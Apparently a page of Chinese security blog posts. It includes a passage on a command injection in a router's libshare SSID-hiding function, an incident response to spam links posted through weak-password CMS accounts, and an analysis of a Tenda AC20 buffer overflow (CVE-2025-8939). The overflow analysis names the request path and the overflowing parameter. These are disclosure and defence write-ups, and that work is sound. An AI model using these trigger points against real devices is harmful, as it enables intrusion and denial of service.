0x2b7f4,因此在 goahead 里调用的就是这个库函数。 所以按理来说我们应该去逆向分析libshare.so.0 但是由于其中 libshare.so.0 属于 共享对象名,其作用是给运行时动态链接器提供一个稳定的接口名称。 而 libshare-0.0.26.so 才是库的真实实现文件。通常情况下,libshare.so.0 会通过符号链接指向 libshare-0.0.26.so 所以直接处理 libshare-0.0.26.so就好,因为它包含了完整的符号信息与函数实现。 可以发现bs_SetSSIDHide将传入的两个json格式的对象进行了取值,并且接下来存在一个判断,对type取值为sethide2绕过这个if分支。 这里会发现对v20进行了命令执行,而v20是通过v7拼接而来的,而v7往上翻就是取到的值enable,也就是一开始传入的值。 那么这里就存在一个libc函数相关的命令执行。 3.漏洞验证 淘了一台真机,直接省事,懒得去仿真了(其实是仿真不起来....),真机才是硬道理! 然后去访问3.txt文件就会发现已经注入成功了。
应急响应:某网站被挂非法链接
事件概况 最近应急,遇到一起官网非法链接事件。如下图所示,使用百度搜索引擎语法site:www.网站域名 搜索某关键字,会出现一堆结果。并且只有百度搜索引擎可以搜索出来,其他的都没有记录。 挨个点开,都是404,最近的一条是8.15的。 到现场后,先建议工作人员分批进行用户反馈,期望百度能够尽快删除搜索结果,将负面影响降低到最小,之后着手应急。 既然是挂链接,又是404,说明在百度爬虫收录之后,链接原文已经被删除。作案者相当谨慎,估计是下次接到活儿还想如法炮制。现场资产情况是: Windows Server 2016 IIS 10 Microsoft Sql Server 2008 WAF 排查角度有两个,一是服务器被入侵了,这是最糟糕的结果,二是网站本身存在漏洞,作案者直接操作网站后台发的文。 上机排查 登录服务器,看到桌面还算整洁,与运维人员核实,安装的软件也都正常。查看服务器上仅有的安全防护措施——卡巴斯基,未发现活动威胁,情况还算可以。 翻看卡巴斯基防护日志,并没有异常行为告警,只有一条漏洞利用防御的记录,还是告警的D盾。 将D盾拿上服务器,逐一翻看一遍,并没有发现异常,IIS模块都是正常运行。 排查到这里基本可以排除服务器被入侵的可能了。然后,有效的安全设备仅有一台WAF,登录上去看看与该网站相关的日志。 看到很多发文异常的告警,但仅仅是告警,没有阻断,估计是不允许影响业务。 从这条告警来猜测,网站有可能存在编辑器漏洞,kindeditor。但也就这些告警,没有参考价值,因为响应结果记录为空。 既然没有入侵服务器,没有植入马儿,那就还是通过网站操作来发布的文章。所以下面的排查思路是跟踪文章的发布和删除时间,以及发布者账号、登录IP等等。 联系软件开发公司的人,询问文章删除逻辑: 顿时感觉这套系统开发的好随意,文章说删就删了,真的删了,没有给追踪溯源留下一丝余地。接下来怎么办?看看web日志吧。 web日志 web日志分为两种,一种以ex开头,记录的是爬虫行为,文件普遍偏小,另一种以nc开头,记录的是网站的访问日志,文件普遍偏大。 根据“Baiduspider”关键字搜索百度爬虫的时间。 302太多,只需要200的,并且加上大概的时间范围: 记录还是太多。询问开发人员有没有url白名单,不出所料,回复依然是“不知道”。如此一来,从百度收录时间入手排查的思路就断了。然后怎么办?看看访问日志吧,根据访问数量筛选一下。 果然,有一个IP的访问数量特别多,针对这个IP筛选一下。 访问时间大多在凌晨一两点,且url多数和kindeditor有关,着实可疑。然后根据这个IP查一下登录账号: 只有寥寥几条,应该是只供页面展示用,而且不支持下一页查询。既然开发不给力,那就只有自己登录数据库查询了。 Database 登录之后翻看表空间,首先看到一张User表,本能地打开。看到loginPwd列,自然是存储的密码,不过,再仔细瞧瞧这些记录,16位的MD5啊! 继续翻看发现,怎么有几个相同的MD5值?难不成是初始密码还没改。 把这几个相同的MD5拿出来解密一下: 解出来了,又是一个MD5,再次解密: 出来了,弱口令,111。用户密码的加密规则是两次MD5处理。以这个密码为查询条件筛选一下用户,好家伙,总共6个人都是用的这个密码。 在其中随便找个账号查询其近两个月的登录记录: 果然,8.11登录过,而且是外省地址。回看百度爬虫收录时间是8.15,从发文到被爬取用了4天时间,符合爬虫效率。 之后再去除源地址转换、出口IP地址、IPv6地址,筛选所有弱口令账号近三月的登录日志,共53条。 经分析发现其中一个账号存在多地点多IP登录的情况,且登录IP中有多个为恶意IP,下图是其一。 用其账号登录网站后台管理系统,瞬间一目了然: 账号权限包括发布文章、修改文章、删除文章......一应俱全。 总结两点 说一千道一万的是弱口令,屡禁不止的是弱口令,明知故犯的还是弱口令。 应急是个综合性很强的活儿,有时候不需要多么高超的技术,像这次,我就当了一把系统运维和数据库运维。
Tenda AC20路由器缓冲区溢出漏洞分析
1.前言 七月底,在对 Tenda AC20 路由器 进行安全分析时,发现其固件在处理特定输入时存在 缓冲区溢出漏洞。 该漏洞源于程序在拷贝用户输入时缺乏有效的边界检查,攻击者可以通过构造恶意请求触发溢出,从而导致系统崩溃,甚至在某些场景下获得更高权限,进而完全控制设备。 经过多次验证与测试,确认该漏洞风险较高,对设备的安全性影响严重。 我整理了一份详细的技术报告,内容包括漏洞成因、复现方法及修复建议,并通过正规渠道提交给厂商及 CVE 分配机构。 近日,该漏洞已被正式收录,编号为 https://nvd.nist.gov/vuln/detail/CVE-2025-8939 。 2.漏洞概述 Tenda AC20 路由器被发现存在缓冲区溢出漏洞。攻击者可以通过向某些路径发送特制的 HTTP POST 请求来触发此漏洞,从而可能导致拒绝服务 (DoS) 攻击,甚至远程代码执行 (RCE)。 3.漏洞细节 AC20 路由器的最新固件可从腾达官网下载:AC20 升级软件 - https://www.tenda.com.cn/ 固件可以使用以下在线工具解压:https://zhiwanyuzhou.com/multiple_analyse/firmware/ 或者直接使用binwalk解包也是可以的,获得以下文件: 我们要找到/squashfs-root/bin/httpd 二进制文件。 因为httpd就是Tenda 路由器的 Web 管理后台进程,大部分家用路由器,包括 Tenda都提供一个 Web 管理界面,这个界面其实就是由路由器内部的一个小型 Web 服务器httpd提供的。 当用户在浏览器里访问路由器后台时,请求会被发送到路由器本地运行的 httpd 服务,这个二进制文件负责接收、解析 HTTP 请求,比如说登录、修改 Wi-Fi 密码、固件升级等,然后调用底层的系统函数或配置接口。 由于 httpd 要解析用户提交的数据,如果代码没有做好边界检查,就可能导致缓冲区溢出、命令注入等问题,这也是为什么路由器的很多漏洞,很常见的溢出、注入、未授权访问都集中在 httpd 这个二进制文件里。 解包文件里面还有dhttpd二进制文件,它与httpd最大的不同就在于httpd是Tenda 的主后台 Web 管理进程,就是能够对用户可见的路由器后台,而dhttpd则会用来跑一些非核心但需要 Web 接口的功能,像什么诊断、子模块或者是其他特定功能。 在Tenda AC 系列里,Web 管理界面并没有用第三方服务器,比如lighttpd,或者是boa之类的,而是厂商自己写的 httpd 二进制文件。 那么,所有 HTTP 请求直接由这个 httpd 处理,路由器后台的逻辑,像什么 Wi-Fi 配置、系统管理之类的也都在里面实现,所以漏洞就会出现在 httpd 本身。 换句话说,Tenda 的 httpd 本身就是 Web 服务 + 业务逻辑的二合一。 回到正题,我们在httpd文件中发现函数fromSetWifiGusetBasic有缓冲区溢出的风险。 可以看到这里的函数fromSetWifiGusetBasic,该函数会获取shareSpeed的值,然后将其复制到Var数组中,且没有进行长度检查,从而导致缓冲区溢出漏洞。 交叉引用后再往上翻就会发现它其实是有个前提条件的,那就是请求路径必须是WifiGuestSet。 这行代码的作用,是把 WifiGuestSet 这个字符串与具体的处理函数 fromSetWifiGuestBasic 绑定在一起。换句话说,只要有请求命中 WifiGuestSet,设备就会调用对应的函数去执行。 所以我们Poc的请求路径就应该是POST /goform/WifiGusetSet HTTP/1.1 。 路径前加 /goform/ 是 Tenda 固件的惯用套路,结合代码逻辑,基本可以确认。 4.漏洞验证 确定漏洞点之后,我们先把固件跑起来,模拟一个真实运行环境,更好让我们观察是否因为栈溢出而产生崩溃页面 找到 /bin/httpd 文件。要模拟环境,使用以下命令: sudo chroot ./ ./qemu-mipsel-static ./bin/httpd 等一会之后,直接上浏览器输入对应IP地址 192.168.102.145,就可以进入到AC20路由器页面。 跑起来之后,我们使用burpsuite进行一个发包测试,发送一堆垃圾数据到sharedSpeed。 可以发现192.168.102.145/main.html出现了崩溃信息。 而从终端也观察到分段错误,确认发生了栈溢出,也就是shareSpeed这里存在一个缓冲区错误。